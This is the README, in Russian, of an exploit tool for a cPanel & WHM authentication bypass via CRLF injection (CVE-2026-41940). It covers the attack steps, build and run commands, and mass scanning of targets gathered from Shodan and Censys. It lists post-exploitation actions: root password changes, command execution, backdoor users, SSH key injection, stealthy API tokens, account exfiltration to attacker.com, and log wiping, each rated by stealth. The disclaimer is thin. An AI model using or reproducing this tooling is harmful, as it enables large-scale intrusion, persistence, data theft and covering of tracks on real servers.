
Эксплойт PoC для CVE-2026-41940 — обход аутентификации cPanel & WHM через CRLF-инъекцию. Включает массовое сканирование, действия после эксплуатации и интерактивную оболочку для авторизованного тестирования.
Автор инструмента: Ishan Oshada | GitHub
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Несанкционированное использование незаконно.


CVE-2026-41940 — это уязвимость CRLF-инъекции в cPanel & WHM (версии < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
Функция saveSession() записывает данные сессии после применения filter_sessiondata(), но фильтр применяется слишком поздно. Внедряя CRLF-символы (\r\n) в заголовок Authorization: Basic, злоумышленник может отравить файл сессии на диске произвольными парами ключ-значение (например, hasroot=1, tfa_verified=1, user=root).
Когда отравленная сессия позже загружается, cPanel/WHM предоставляет полный root-доступ без какого-либо пароля.
--verbose) — показывает полные HTTP-запросы/ответыgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Вместо сборки из исходников вы можете скачать последние стабильные исполняемые файлы прямо из репозитория. Они автоматически генерируются для каждого обновления:
Примечание: При использовании Linux или macOS не забудьте предоставить права на выполнение после загрузки:
# Базовое сканирование
go run main.go -u https://target.com:2087
# Список всех cPanel-аккаунтов
go run main.go -u https://target.com:2087 -action list
# Интерактивная WHM-оболочка
go run main.go -u https://target.com:2087 -action shell
# Массовое сканирование с urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Попав в оболочку (-action shell), используйте следующие команды:
Репозиторий включает urls.txt с 1000 примеров целей для массового сканирования.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Базовое массовое сканирование (10 потоков)
go run main.go -l urls.txt
# Быстрое массовое сканирование (50 потоков, сохранение результатов)
go run main.go -l urls.txt -t 50 -o results.json
# Массовое сканирование с действием после эксплуатации
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Массовое сканирование с подробным выводом
go run main.go -l urls.txt -t 10 --verbose
# Массовое сканирование с увеличенным таймаутом (медленные сети)
go run main.go -l urls.txt -t 30 -timeout 30
# Генерация диапазона IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Генерация диапазона IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Из Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Из Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ ОБНАРУЖЕНА УЯЗВИМАЯ ЦЕЛЬ ║
╠════════════════════════════════════════════════════════════════╣
║ Цель: https://target.example.com:2087 ║
║ Токен: /cpsess1234567890 ║
║ Версия: 11.76.0.22 ║
║ Сессия: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Действие: LIST
• Пользователь: admin | Домен: example.com
• Пользователь: backup | Домен: backup.example.com
• Пользователь: client1 | Домен: client1.com
════════════════════════════════════════════════════════════════════
СВОДКА ЗАВЕРШЁННОГО СКАНИРОВАНИЯ
════════════════════════════════════════════════════════════════════
Всего просканировано целей: 1000
Уязвимых целей: 47
Затраченное время: 125.34 секунд
УЯЗВИМЫЕ ЦЕЛИ:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Токен: /cpsess1111111111
Версия: 11.76.0.22
Сессия: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Токен: /cpsess2222222222
Версия: 11.86.0.15
Сессия: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Токен: /cpsess3333333333
Версия: 11.118.0.42
Сессия: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Результаты сохранены в: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Документация
├── bin/ # Готовые многоплатформенные исполняемые файлы
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Основной исходный код
├── urls.txt # 1000 примеров целей
├── go.mod # Файл модуля Go
├── .gitignore # Файл игнорирования Git
└── results.json # Выходной файл (генерируется)
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение.
Несанкционированный доступ к компьютерным системам незаконен в соответствии с:
Автор не несёт ответственности за неправомерное использование. Используйте на свой страх и риск.
Используя этот инструмент, вы соглашаетесь с тем, что имеете надлежащее разрешение на тестирование целевых систем.
Ishan Oshada
Если вы считаете этот инструмент полезным:
Удачного взлома! 🚀
Помните: С большой силой приходит большая ответственность. Используйте этично.
| Этап | Действие | Описание |
|---|
| 1 | POST /login/?login_only=1 | Запрос pre-auth cookie сессии с неверными учётными данными |
| 2 | GET / + CRLF-заголовок Authorization | Отравление файла сессии значениями hasroot=1, user=root и т.д. |
| 3 | GET /scripts2/listaccts | Принудительная перезагрузка кэша сессии из отравленного файла (распространение) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Проверка root-доступа — успех = 200 + данные версии |
| Платформа | Расположение |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Назначение | Команда |
|---|
| 1 | Базовое сканирование одной цели | go run main.go -u https://target.com:2087 |
| 2 | Список всех cPanel-аккаунтов | go run main.go -u https://target.com:2087 -action list |
| 3 | Смена root-пароля | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Выполнение системной команды | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Получение информации о сервере | go run main.go -u https://target.com:2087 -action info |
| 6 | Создание пользователя-бэкдора | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Создание API-токена (скрытно) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Внедрение SSH-ключа | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Дамп и эксфильтрация аккаунта | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Очистка логов и заметание следов | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Интерактивная WHM-оболочка | go run main.go -u https://target.com:2087 -action shell |
| 12 | Массовое сканирование из файла | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Сохранение результатов в JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Включение подробной отладки | go run main.go -u https://target.com:2087 --verbose |
| 15 | Конвейер из других инструментов | cat urls.txt | go run main.go -t 20 |
| 16 | Увеличение таймаута | go run main.go -u https://target.com:2087 -timeout 30 |
| Действие | Флаг | Описание | Уровень скрытности |
|---|
list | -action list | Список всех cPanel-аккаунтов | Низкий |
passwd | -action passwd -passwd NEWPASS | Смена root-пароля (шумно) | Высокий (обнаруживаемо) |
cmd | -action cmd -cmd "id" | Выполнение команд ОС | Средний |
info | -action info | Показать hostname, нагрузку, версию | Низкий |
adduser | -action adduser -new-user U -new-domain D | Создание cPanel-пользователя-бэкдора | Средний |
apitoken | -action apitoken [-tokenname NAME] | Генерация постоянного API-токена | Очень низкий |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Внедрение SSH-ключа в root | Очень низкий |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Резервное копирование и эксфильтрация аккаунта | Средний |
wipe | -action wipe | Отключение WAF, очистка логов, стирание истории | Заметание следов |
shell | -action shell | Интерактивная WHM-оболочка | Низкий |
| Команда | Описание | Пример |
|---|
accounts | Список всех cPanel-аккаунтов | accounts |
passwd <pass> | Смена root-пароля | passwd MyNewPass123!2006 |
exec <command> | Выполнение системной команды | exec "cat /etc/passwd" |
info | Показать информацию о сервере | info |
version | Показать версию cPanel | version |
help | Показать доступные команды | help |
exit | Выход из оболочки | exit |
| Параметр | Тип | По умолчанию | Описание |
|---|
-u | string | - | URL цели (например, https://example.com:2087) |
-l | string | - | Файл с целями (по одной в строке) |
-t | int | 10 | Количество параллельных потоков |
-action | string | - | Действие после эксплуатации |
-passwd | string | - | Новый пароль (для passwd/adduser) |
-cmd | string | - | Команда для выполнения (для действия cmd) |
-new-user | string | - | Имя пользователя для действия adduser |
-new-domain | string | - | Домен для действия adduser |
-tokenname | string | - | Имя API-токена (действие apitoken) |
-sshkey | string | - | Публичный SSH-ключ для внедрения (действие sshkey) |
-dumpuser | string | - | Имя пользователя для резервного копирования (действие dumpacct) |
-exfil | string | - | Удалённый URL для эксфильтрации (действие dumpacct) |
-o | string | - | Выходной JSON-файл (автосохранение при обнаружении) |
--verbose | bool | false | Показывать HTTP-запросы/ответы |
-h | bool | false | Показать меню справки |
| Ветка | Исправленная версия | Уязвимые < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |